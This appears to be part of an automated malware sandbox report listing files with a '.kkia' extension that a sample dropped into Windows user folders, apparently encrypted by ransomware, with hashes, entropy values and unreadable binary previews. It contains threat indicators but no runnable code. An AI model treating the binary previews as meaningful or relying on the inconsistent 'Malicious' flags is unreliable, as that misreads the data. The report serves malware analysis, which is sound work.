SHA-256:	955D1DC00336A600F7DA8B434DA6B774D03E258365B8DBEBC72645293E406E62
SHA-512:	373BE085FB27FBF055B6D3397F903FF06506F716F9968A60D9E930557C9A4216A7281106FB0BAD213A4E1758D7C7DC09833CD2E4D88958BD7C094BC59E616736
Malicious:	false
Preview:	CMMM #..Ja: .19!.......ulU..4..h.[~x.i..rM.s.Z.....V$.%....JW.I.}9./W.5X....V.....J....+...}.1..@..+.m...qP.......O..4..].{.r...Li..Tbn.@\|3..6..:....3.!..P@..d$..m..k@.(...Td..v...n:.E....x.bh'...+@......t.}...J(..(X..E..KyW...,oP..2....#...C.y.)\|.:.?..E...(...+..6.m.t..O...R......jI\|........o.R..Jj...N..>k8....?....i.H....#t...d.C...<Cr.>"D...=W^.......:..w....&..q.&;..e>...!...U...4....^z...,6....'..X..o%..Y..#Q.....M.v.Tx{0.....1.g.nnl..1.f..u..\1..B8...A[9...V.g.....g...8...g...2G.....F.JH&........rz..6#M.mG[h.x.D.#\......0h.b..O.....1.<.j....D....,.....".Re..8$...Hz........>.d..&&q..s........q.....n}3.t@z7-...p(../.!......:.........}....V....._.@..Y8.0.C.l.....`..G...2....G.i...z....<ClX..\|..;.eh.~..K..\.q....o.n.+"....SM..^.....x....TC*M...3..I.+...](F..{&.z6...2Q....V...'....).=.......g. .G.....o6P...rQf..'...;,..m..:...Y....W.....k....m.....J..7..a4...(n..h.W%..JI.?..O.`.g...F8L...2.......r....#(/.t3{w`..D..c-.1.....d+

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_768.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.2642243851954245
Encrypted:	false
SSDEEP:	6:FzgLtz81bUzvFoKlE9scij41izyrBn8Em/7Pebugcii96Z:RgW1b/+E9tzQP7Prgcii9a
MD5:	03F804CE8D4418E6626145BF42C278E8
SHA1:	D98BE7A455511415390CCA1E17A28F9476F455CF
SHA-256:	E55DB036366C97A2F916763E689159EB5383CDB6BB5AEE29C9251074DBC59E79
SHA-512:	FC9E6B709498D3B966394DC72334F910609ACFD3FA8C313C7B734739210636A317EDC280847E57545369F8D9FB0E1C520C8DABF86E376F6827BC0F9336A629CA
Malicious:	false
Preview:	CMMM +...[.R&t..k;Lu.<.+a9.o...15...v...r`]...`.BC.W.i...)./5.Pg..G....L.......%t).......Z{m.A.......;W.3.s.(....j.....`D...,h......kE.w..u.}J.L.O.W..........P.9.\...B...n.U%M...-8n.n.G"...~:D.?...o.Mf..BJE.C.../.o..E...v.RW.....YU..c.@Z...".$% _6.!K.ah..a.].<.PM..%.#.D...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_96.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	4.12692801944416
Encrypted:	false
SSDEEP:	24576:NrOFqdgxX6qPhVnmNVf2I8wHXEH9KPaBCr/5TO4ImqrYEFtxNVPXtX6Qs:gsgVrnmNVLgH9Ky0r/s+qrYEFtxNVPA
MD5:	D4B01E98169423E1103598D92354F916
SHA1:	74D97D44421FFE018EDE5E66EB5A7847623349F2
SHA-256:	5193A9A1ED9C81C751AA556BB0DD7258B21E0ED02DB2F01BFFF438EBAF694A7C
SHA-512:	E3A3A39A313D0D440006497C35B9F588AA84AF4A118B2D6BD3D9938B544AF8849192DD4A4A9C52EE6102E685499B8C0F31ADC66C83DB9A97983DCF1261B052BD
Malicious:	false
Preview:	CMMM 5I72.Et....oV7......wc@.0....\|g.....@..T.T..U0...{n......[Ax.....{.k.L.8....9t.M.B..{b0b.?.N.2...=.f.R.w.h/..^G....b.".l...i..D.........I.....1.uQ...m..2.`.!..2h.q....+).]B......&...G.......^...wo..&..tk..U.QU.Q.n..\|mD.....7F...6,HTRK...AE..[xyFpJl....._.BY.....v.7.zkT(.W<.-.P../O...i..Y.S...T[...~..X...Jq7..s.m...i...a...o..?.........(...u...B..@.P.f.V.....6A......da.5p..t...q&t5.....A..@......r.....@.o.hjl.....A.q..Ey...X.....+...7@...oc....C0...Q..-...>..i>...\|../.~..\.A.L.q.J..K9..E.....@.].U. ...e..]..x..d.6.....v...... $..a..G..F.m[?#..B6Y.+.@.#+...}I#r.K..S..%.. 0...U.i.....@Md=X..g-..O....x.. N}..W......]F$......{.S..d...4........]....k."......>...`.f<4..X.`.z.Gw.X....Y....>.`.[...}..U..I.=Q..S.&f...^...q.....5td.7......4H....peaZ,....#O.F...y.!.N.G!.W<..Lu@.4.....b....3j..i.x.DY..Ta....XE..g.^Vk;.B./.:.&.fI...L...Q:!]~...ps......A...m...s...t.'..N../W....;<..q...}t..S........4..8.t.R5I. '.*..E.M&.<MaJ.#..@..../.n....-.

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_custom_stream.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.291255994143373
Encrypted:	false
SSDEEP:	6:OgIIWhpnqaNXUY5d8x6wdHc8XDrUlsnG/4933VCWZvtJuK2BcsH0mk8kf7PebugX:OrPBFUY5pwr3Ul0G/493FCW9tAtuRf7O
MD5:	8B06F7170209CA257A6A1A533B1DE559
SHA1:	CB08FDFAA7EABC44594F08FEE59B00A156427ECB
SHA-256:	7701D7F122653AA48805ECD24C6B82BDA7E450FAE04D126EEF03818546D56B0D
SHA-512:	9B87CCB86B299B9A948F4DCF8A3F7931C87DDD86219F6EDE011DF45DB5F40621F89FF5D842C706AA516DA6165448A05008B538029D6BDA2864D6C377209F627E
Malicious:	false
Preview:	CMMM ...U.p;..W.H>U<.t6T....Z.(.....r...R<.T.[.../..yd..v......=..d'l..[.....S.#U......$)......\|.".....#Z.../...ua.VIH2..@.H./.n....<d.\|<..P..a............g3...f..N.zI....t...0.4N....}.Xu...y.Db.?...Ygx..<.....-[W'_.3~.*.Fs1.T......y...4i.....m.X........&.e....b...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_exif.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.292237165954146
Encrypted:	false
SSDEEP:	6:xaeswnQdj6A6XFriHZk1Wh9jb57tAy6+J+vYjKa2inr+FuPebugcii96Z:0wnQQfXh0k1W/jB7njBH6MPrgcii9a
MD5:	73128A0A8205312593E22F931F803FA5
SHA1:	65A2762713D9B5FBF03B8DB3152A557C9BBABD0C
SHA-256:	65B6D11465B11EC57F5A9D08609A46CF08E9F40037EB484CE4A8D205899F882F
SHA-512:	8CB8AB99E68013F449348925911545E953DD648B98E56EE9BDE49A60A70E2BF5A1EAE8E36037C98C0566ACE76C68B5A74C9FE931B820D36B02DFC6BB65792EBA
Malicious:	false
Preview:	CMMM .t..T.\|...y...r......"...q.2...E.......^....}..{.I.T.._2.\|d.O..U.6..m..Z..G.E.B.I.E..\| ..m..J{..t{....U......:GVH....9..2......#. .wij.G."=..$......R....;}.....-..SsL.n..n.T85..(....xh5...'2+,..fj.n.6v..,....S.`....W?...Z@@z.Q.....%.....lf...r.....]..I....../d....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_sr.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.3131613378298175
Encrypted:	false
SSDEEP:	6:I+0f1L78MI1LY5q0YnJAdapqTdcLCr7yTjGeizQEPWCe3wNL6e+Pebugcii96Z:X0RIMfUJiapXCr7y/jANL+Prgcii9a
MD5:	06F3C39B66299128C503BE6ADB926A31
SHA1:	1EE974B3C401FDDB8276929DB6DBAB25EB017589
SHA-256:	E77DAF65D5C22955C82051B428FB713999460FD6603268CDB252A011B2050955
SHA-512:	7A55CD71F60D6696AAA9485F9F40D8AA97F516534FD81C04208D992661D3E022B4C9035A764666930A02FED66892990AC9591E9D1D0BDA5E90DCE6212AF3B8D3
Malicious:	false
Preview:	CMMM ......;4..n%.0.f..NR.\.A<.C.[(.kT#.7#...^z..Z.Q.V...)'..>.u>...MO.C.....Y.*ul...1.>.s.q..YE...F.Go...".I;.....^u}iI......j.N.Tq...gN.(F41..:0.Z...nYg..+.7t.....4..&.......se..{...$Q.~......k..mk=<...1.....;...XPF.....[............n........jL_.m_3n....h..o-.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_wide.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.354934015043178
Encrypted:	false
SSDEEP:	6:Ybzou9DAR4FM1EcICrafKlGS/P0liBAiupZF/9g6tT7Pebugcii96Z:Ybz7hMd1ExoazcBwv9gGvPrgcii9a
MD5:	E09EFECBB07BDB63F9742C7A1F067FD8
SHA1:	B43F985F00A6070C69AF62FBB9DF30C27C17FD8B
SHA-256:	04C931A3FDB57F4497D2F76801048871E1631428CCE4A97C442B36998800804F
SHA-512:	149A504055BA0F18160A14A873BB60F14C75000AB4ED7A22524A5C36E59D12075DA924B4B3BDD205D58D8F09C1BB9CAE689344B7938C6D0DAF8F2B651DCB1694
Malicious:	false
Preview:	CMMM ...r1..i.s..}Qf+.a>./.,/..).~.g0......%:.......`.Z..w....;i..cf(.....@.H\|.HdNP.e.Yg..9...\......K.*..1...Q.2u.e1................m...n.cS=q.nm.....Q.....$.@... .....I\....@.[.....<..5n.).R...(.-[cU..\|V....Wp..O...i...k.<....0{...g....sZ....l. a.....J,.l.3eu..H....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.225424160359938
Encrypted:	false
SSDEEP:	6:eysXA+hu/nGPzZBYIZNuwOx323HU1qUSgWooX3+7PJAkDm7ft6N+Pebugcii96Z:eyTGwIZNuwOVatUTJoHWPnDmZ6N+PrgX
MD5:	8A79C133A940ADC55EFCC84A8F9A0BD3
SHA1:	E2732C82A8EA9E8AEBBA65E9FF66E3D57B997EBE
SHA-256:	A6DAD4061D4908A11B2E1DDD3BC71AE372C29EF9108DA754D58D3AC307E7051D
SHA-512:	36995FF7D1576C4BFC54134297109897208DF10A3059E74F00087798C3591FDFC719374B52F65EB93EA2FB9CF5B634D873BC30544ACECD5BB954994ACF123199
Malicious:	false
Preview:	CMMM ..l.....J!Z........'jM.:e.co.@.A/..(.....g.n.g..6.KH....{_...l.-5..2.O8..(`e.;.@.j.......g.....x.J9+RQ...s.../e..=..........,.rM._E......L....m.+....dd..z\|...nQ.R...KZ......l.!.5.7..A21.....q..(7.\S...........SP....7*_.x'L..xA.z...#...O.w..-...V...1..u.....0...dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	64281
Entropy (8bit):	7.997090410706835
Encrypted:	true
SSDEEP:	1536:kkpsdyIvRq2jehHSrxdZVEGysXbMZv44Wzz1uWYulZ:qdB5FeHSrxdZVE4e+1uWflZ
MD5:	CB470FD614E61BC1242C1CE936C66752
SHA1:	C1644498952C9ABC91FB01B3D4F9B37BEDC0702E
SHA-256:	F2A8CFA5C07599B60F65A61EEA78D40DA6F8BACB8A9256B28237E77DD45E430D
SHA-512:	B4A48C61D7E25BA4D0C3C8B69DDA40B6C6E9764CCB36097A73F88D64772BDB0600E1B6649DC78BD2E05E0FE621A8E08BCCA813032A86B93908FEF2FD9EAEC4AE
Malicious:	true
Preview:	<?xmly..c.U17.._/.Pg.,\..=.s.L..Yl.d.5u}h0.>qj..l1.B....B...a.!6....5....V....CxO.>.]^Y.Q...o..)k...........x....$Z..-.7Q.n.R...T.!.7..Fw5-.e[.......w.........7I.V...3RP..BE...Y.9....qY.1F....Q4L.g.Y0:..t].~....0.]u..u:H\..7.:F.[...dG....i."c.g..8...t...pT..ep..._.-S.k..Fj}+\|-.)..U".....L...f..o:x9..`.3...5....S.?..{..!n.8/...l....L.p....E`.;h..+(B..&.w..v. .};.=..x....Y~.t...W.s.D.64..x6.p.r..v..&.'...j.<H....N.iT..Z..-...&a...c....\q.&....m....X......4,.d....pZ........V....C/Z7Q..\.\V;W[..k.Y...H..h......2Ab...9.D.n.$..y.V..^....jt...6......>&r...?!./..g6:.J.m..2...B..".....P.g...B..L+..Zh..I...7...E.....\.~...........rX].~c ...I...>K.Q77(.E....m.H.2'Q......i.V'0......ZA's.g.....`.I."L..cX.....#]..`..\|...V......``O...5\..Kba."...?.V..z...q.h.}.....`....=n.I.F...."...o.0.....CQ.h.C.rz...@....:.6.\|...#..;u.m....{ta..%.Z..U.....9..G`.a9.v..hy..(...zC..~-B.._.o.l.....<.!..)....9f.-W&............\|.......G....-.uo....<o.....]qfZ%e...wJAzP.

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01.chk.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9740447261253715
Encrypted:	false
SSDEEP:	192:rCNL4G2LNQtE8Fr34PsuNVsw9TgzUijF71dm1wI/gLMtGPK:wL4HutE8Fr8suN3TgQid1djugTS
MD5:	63849FC7993D5D4C1F8ACA3DFF017D6A
SHA1:	DB77D7142CA9821F36F708A96C7BEABA839E7610
SHA-256:	A2A23F7E5590EE1A4BC3F2EF392E712F622BD5FAEDBE0879F2F251679E543505
SHA-512:	D5CB8D0CC7692E29FBFC8CEC9397BF6D8BB39DE6D3933A8FB1CEEF42FE11172969F6C369A0C5A680D431080431FE789AD18EC990B3C9209A50965F07909BFE1B
Malicious:	false
Preview:	....8.Y..H......Q..28l..S.....k}k.#.S\..D.. .."l.2.&.2....fv..[d.+=..(..zwdP....k1.Y....N..,.(<...........%.U....%..W....P..N...q_.C.....%.....{1Ws..+../..i.z.._.,q..<.L.~....At..s.'.`p..FE.d........V........$...g.\61......e6.`..{.J.{.l.(......hAC.a.k...)...e.M.....U?,4....P.......;.w....}8.u`.~nfk....x.._...=s.{jz.~..6S.....k.}E....DO....n...^..dPx.8.8...H0..B...K...B.aN.wU......^x".wA.....v..\|V.~.U.2......f.s<..2T0.V....~.I.D...ed....G..+.4@6..]....z...P...y.iA4../..N....9...X$.....q5.sD.#{z~zV...C....y...x.#...v...........z...;f..4..C..'.3.=...M...u.Uem......x.......F,``..l......h......>\.>....[.z$2.M...%CT+(^.;.eDv...:....c..w.../3E:....n.U..u..;vY.1...%..Q.N.?..d..aQ^Pn:.K-4P.mr1.=...p.G......C..f\..o.Q..m..e,s....8.` )..C!.....Ma...=lB7;.......l...M.Le&......X...-...O..j.R.$.K.......(nvZ..X...IwB!.)a.dJE.}@.MA..7z<..m..HJO.>..Sb..^..}..U.b~.....T..).\.........";...}..2z.vx.2..v.+NM.~<..^:.,\0z.W+.oU!~....)P..~..........

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V0100004.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.550845386505577
Encrypted:	false
SSDEEP:	3072:566lily8lk/+CwzkLNbo5TWW6j+xw5mOqqA8sTAQGOdjSdtwhdM+vmghP0s7dXqX:864cJ/n3xbwnxa3LGd/m2824WFG1J
MD5:	F0043EC8556E0D1512926F632F14F61F
SHA1:	01D310D3092EF5B2742B566CE14CCDFEB0815A61
SHA-256:	358F2404D0C800072EEFC26A143D6B926C97015E3A002C82CE0F35854BE77FC0
SHA-512:	A54DB1013A5789E81BB8BFBEA697459232BA73331BC605B3344A8027C64597374872AD63B689091120CBEE7680FAD8F7DB3754B74B8578A8990C843CAAF04279
Malicious:	false
Preview:	2.7"....:Gf.P..l..n...e...M..pT.V........Te?O3....[d..f....j.X...J<..8.[mQ.:wy.....F...v./...b...p...o....DW...8./%....0v...~.....O.xd.U:.d....5.a..K..&.]ze.2A.V..J.rHY.....T.-..FL..[..+..D....#}G.Ql...Y.....~....7.....JC..g...).....V......a..w7...c. .i......................gF...........\2.A...R...!.......w..N..z...oE........>....K.;'e.O.d.'.Z.uK.C.Bi\|.....h......S....YG.C.\|..I+.y...k.k,..Ln.....&7W........jk.m.@~.B..y......^\|..f..5../PM#...e.x.D5.xk..."+v..b9;h....33.T.&2..8.S.... .q'd....L....r...!......qH./.o@q...+8..N<.8@......P.{m...T....T...,\...'t..>.."..?.z!/4...!A...m...#..t..e+.......N...O& ?.UE.=R..Lz ./L.-..s]. ..<Y2.\P....=l.....C.."........Q.!.&~.h..%_..d.&.....s...Kfr.x...l..g..u..)\|..x....Gk....e.X.l..1.[..9.#...w...U.b\..tj....&.$.a...3....i...#...ym..5.H....cu.S...~K.t.C...t.!6....:~."w..58x....T.'.4:...le......u...E.....'`.&..H.x~..... ...Q..T.......)$.. d..ye0..R....}.. *h..E.\|..B.@.".e.)...1....S7~xn...]V...]....q.

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01res00001.jrs.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208225455954585
Encrypted:	false
SSDEEP:	3072:qNAneqqesUwsb8TlxzlaRuvH0k/JNQhxr/4sgrp6MC0+Jni:/dQhsb8Tl/a+HNEjT4sgrEJu
MD5:	9E85DA896309B331FAAFCB99D4871AF1
SHA1:	4424A8AF6EED0B891B6E6E38BF5154AE8BFD9534
SHA-256:	56355FBEE3F8A744F420A2AB2169F0660BAD24FAD0F423208D80236003A8682D
SHA-512:	EAA0D77F29C1CF0D0214042607762E9451C206C1C06EAA4FBF443828FFE65709F9B8754DD346D2EFDA311E55167B28FF4B5A820CD995E70724F8F57035D7A3DE
Malicious:	false
Preview:	........&..n...-..W.A..8....W...J>~.3..XV[;v.G....{...L.I........A".rV]..qDj..D\|..D........b..SC0._<.}Ulo.e~...}r..e...~....>E.......G..\W....W0I..e7.........8_.+.p.y..v.Vv.a8w..\o..1........?...%.=qh..a<........$.V...;X.:L[...N.F..x......9'.....).._.E..%...?.t...F."..4L\|..F..^g.#..8.Q..06=<.~........Nd.U.h...`....$\|m.A.oS.`..h...K.#kf.....~.R.].....,...;H..lw...e._~D/.....mr..T:2..I.0.h.<...k.xlN....:....B...I)2..IJ.....j...n....7E...... %.w,.z"...nh....._...OM`.....A..<....#...YW.Jzm.Q.I.3P..o;......'..... ..$.....'.1v...$r.]......{.JVF._........HW..gA..O.Q.....mh.qjB.......S2m..my.[.../..X.{.-..7.g....DW<.....Q..T........=....,h.2.....v.w.^.J7..sl...dSf9B..z.j.......l1....g.0.V+....1d...}2.S..X.X...VA.$....-..M..0..a...{v.<p8a..2....O.`..9...R..7.d..O....e..Y.....Dq.r<.hI..~}a.e.>....\..IH.....7...f*.....;1AW.M.i..#2..?.P...T...n..\|.\9..6S.j.jK.]...pV.7m.......x6.....(...a`<Y"....L.D.gN....!.L.Fm......$..)..2..g&.Y...`

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01res00002.jrs.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207709685179684
Encrypted:	false
SSDEEP:	3072:Fo5XIdXuEt1MhzuLHW5yoAFCiW3eu30bbc7GkvCAiF+bMj:5tuEDSSoZiwWcJvC9F1
MD5:	C710054EA5FA1F72CDA7A9C41F6F8B0A
SHA1:	6BD83D3ABFDC2CEB04DBA81432045D780DAC8D83
SHA-256:	14E426D9FE9811EC8D2A8FD7273D574691603FC8D46BFCA8ADC45386089D1CCD
SHA-512:	B8FFAC479C2FC325B7A2D7BB5ED502E1E3DBEE70F1CA80F84E73967945C01F6500F01B065252B252BF566525F4E1A67B8766650158DC09D798A92F3B244D733B
Malicious:	false
Preview:	........Sx.0dN..,.@M....M,a...6.x.M.t.v.Z......`..2...A.e...TE......G,.e.....C..S.c...Z....DHb.'.<{...L.Y.L.sR.........s._.GH.....b.:j.e..PbX)!....R...e<.!S........6.z.y88..>g.R..\|.A!i..1l.}.o\E6!..t....s.X......E....._...@.M..).W.U.oI+\....m:...7...e..OD.....b....9.DmAgJ.M3..x_O.-...h.9p........S....f.'._.z8...,"..SS.@'...4..'G.........;.\Z#J......np>.H..."GE.fm....Y..O\...a...H..7.."BL.##.....I.Z)...7.8.Z.;6.O..........M..SL...kY.....J..7..?1.2.oj.....I.T=.Hff\|.........{..=.FF./..g...).B..Xp1 ..&.J9"..5.VH.E......<GU{...$.......z.M..=k.{..>].h.....=...wvw2.w..ql....B.,...d.#..\.......p.m.....;.3sY...p.).1r..k....z.....ce.e......&H...w#.x.h6x..3.G..B....3S.....7...$.#..uyF...9h..Z..r.4j......CM..n./..G*..Y.:c.......N.n0..ER8a.2.....}..p.T..A.............F....[...6_.4X...N.,.o}...-...Et.Q..w\|S.5.<.!/&E.X...L\9z...<l....iE.w/.....=.Y..hd.//4>8.c.O]....2:..Z....%q?...,;..T...`c..0.a.G%v".av`2hV..r:=.s.B`r.m ..yw>...........D.........c.w.G>4..u

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01tmp.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.400456815920113
Encrypted:	false
SSDEEP:	6144:iy2LNPwNoyI9WtGLtIreXtM5/I64lUZ/8koefm8M78a503lGMw8:8CZYWsBpXtM5w64SZ/PDa01
MD5:	DA35DD00C83E39DF7C6E99304DE6C39F
SHA1:	0998F549EF0AD6266F8E501018CBC98E0F433615
SHA-256:	39C8DD7B7AB4FBFD1E0C97839EB151909CF1F0A3F8FAF0DE5D9FB1B399FD7289
SHA-512:	512EED89839BD20654689FFDBE0CFF888924E3FD6B96C8847703C4B6343BDBFB0B1E1FEF038C77E5043B95A054B153F7DFF2D927672C791C2A8D82A0699D4DCC
Malicious:	false
Preview:	......T"..C...;H.De......t...jo!.f0.,1]CZ0#6....+._......./.............4Z...)LR.T...E.R...}8.\|.A...p .:.G...b.3..D.....`...;..#..-.......Gi.WSsI{.rK.^.l.\|....evj.;.p..6Y..Tm....5.NZ..gHO...d......T......e...Z}))....v.5....,_......qX..tx.3._9.p"...... Z.$...t@x...(..\|..\|Q.F....U..{.@.d...O'lH...O.f...G.`sY)]TP......G...).....'.M.Q...}@... ..b...(......I"....=...?.U..vR.Qw.c...yNm;5s6..W.n.,?sbe..d2 .t.iA#.:.{l..D........]..J.V=1.>..2qFp.`N...@.6..L.....'.?..j...,.L]..zN...m.[.S..t~........d..%......z....i"4i.{3......8..%........U\|y.7._...#.m..c9...-.s..p!...=.\.$s.]...e..?]u....Bi.!..>.{.E`.5....{...-..ZFR.r[.+......P6p..Yy~.....)....z.ufK.......gV.\|?u.h.(..Y2.....y:......a....).z.\|..\|.>.r.......N..Y#.u...]..u..}v..U_f.Y.ZA#{..)..'xWE.C.....GCiqbx..e..9.....)...S.#I@ ...$@.: ...LV...../.("........_d.....J"Z.vg..[<...?..n..._;7.i.....C,..YB...J..o..`.m.}...0...I......N..+.....w..;k....w..Rr.. .0y.X!.GdO.V..T..m."?.8M..g.....D4.........M

C:\Users\user\Local Settings\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981207040988775
Encrypted:	false
SSDEEP:	192:mdz3oxCzAhQYW1RYkxuU+uBcGC86xtfoWG6WTo:mdMwzxYsYkxd+uG86eo
MD5:	20C99E40EAD11AECAD247CFCE7556CBE
SHA1:	5CD26BD2796DA6829A5646EE6FB3E6EDB7D7F255
SHA-256:	1CD1EC046F4F3FBCEBFCAA28B87EF55A1170F4A2AB211222989B223EA4D71C7F
SHA-512:	EAC9CD35FE4090DD924831DA0E156A557764C3B09D0C7028DF88341EC8576B54B0185578FA4026E8D6E5D27251F0C3F3D4ACF8F18B168C610A3DE5B661D743F0
Malicious:	false
Preview:	regf.Xp..sNg...k.E...i..m.g.w....yN7.;S.7$.gW....C.Zc.....&..E..;..,7...77..O.Rv.. ..^y......u......#.....y...<kj...3..hz.....qIJv3v9..P.G.1H..O&...sA...0.n.....JL$r.j.\J.i.E'....Q.V..q..ez.F>..............s.....N..5.Q.0Ln]....~...^....l=.,......&P..P.....4.t...I..../.eC..s..1\.Y..%gw^....2.g...P/.(..9....+$qO........c_.F.\.....=...N..h-...~.~4y.....Ws.Ou..r.~SL.....A.n?.].c...U..G..Km...T..}...lt%..f..h..7..M...g...Qr.g.0.T....:......Qj.Ax...@....+#[J..6....4...._.....K..y...gj..H{..{...........,...h..Xz.c..5....'..........=.=A}..._.a[.6...I..=...xK....+!b...tJ...9+...$.Zr.G........u...r6.....u.!,4.c.4...Q..o.FG.P.d0.S....v..X.F.0.....v5c.1...BN..XP..)QB..WN....i....P..R4q&.....C.b......pM.].......V.}..C..n..O..QA}x...G..>k........f.."1-.K.b........9.2B.Y.@la....k......r.z.._.W..;b.....P.Nc.s...[.n....ucO..8...^P......0-...C.[...&e.vh.=?b%...A.=....7.h....N.ReDe.\.G.,..x{.rZ..}B.....n.dB..Sq.i.Vs.z..)..$.b.z..9$:....

C:\Users\user\Local Settings\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976426024267154
Encrypted:	false
SSDEEP:	192:vUCv/SgU16B3Jjws7mq8WsNC/m7LQsB6lj4hbW5WL:cCvJ3Bwc38j0KB654hW5WL
MD5:	3547609E8D88C5E0E083F9DB519C5982
SHA1:	D62EC726F49FF2530F50BA4A5372BDEFEFD727B6
SHA-256:	6D6F906F691ED78707D6ADADBBF41C03FEF13AC15CBEAAE9AF992D1B108A5374
SHA-512:	0B4E43EF52CA5874DEB4DBDD07CA933558A71C607866D5A6D18C71E67151AA8C416931893208C0F03AFF9E2B15DD4376C8187115F618789B9D0DCCF088E03E43
Malicious:	false
Preview:	regf..!.........JX..gU.i@.)j...%...(.........~.r.w.u..a.0.....gh4DK.v.... Kj..<..el........&Oc.:.~..h.e .h..'../.py..r......C..h./.B.S.O......m.@........d.H....T... .%K.......cJ.p.....F'[K...=O...A.hT.'....;....{......n..5M?bS.4.f.O.oob.L.;...U.ML.......I0~.......JG...k..J....4S...V.......k#1...9...\:j.7~.........ox{...Z.../?.M..u .U..u.....;...n......y.."1..4......$.Bfq..{.nF...C.......(...&..F`..FQ.KKtv....LY..)O.4...+..@......6....]=..$.&C.....8P..T.CY!~?D...$......m.....e.L.-.5<.:.!xi..D.Y.O....y...k..\..U.4..Z.YEB..k..G..{.0NS...X0..vJ..<gtO.kmTe.9#z.,y.D.._D....4......#.b..{w..x,i.>..wT4.R..y..a....h.3.S......^..q.}......t......./....rK...SK....U...W... .n..}....[\|dj{K(..m..C.L.d.W.bx.........(..T.t..XN.=.....2..e.!....g...3e..]..8....Y..H.....^.......6.^../...q&.~.a.....{7.vq.V....s5...<..^7.C.s...x.tR@.l.......O..94..c.d.M..#.8......&..S_8...I.ZG.O.,_..qX.1.........z....>....(j...<S....i.?An..-...#......?..H.B.~."....n..

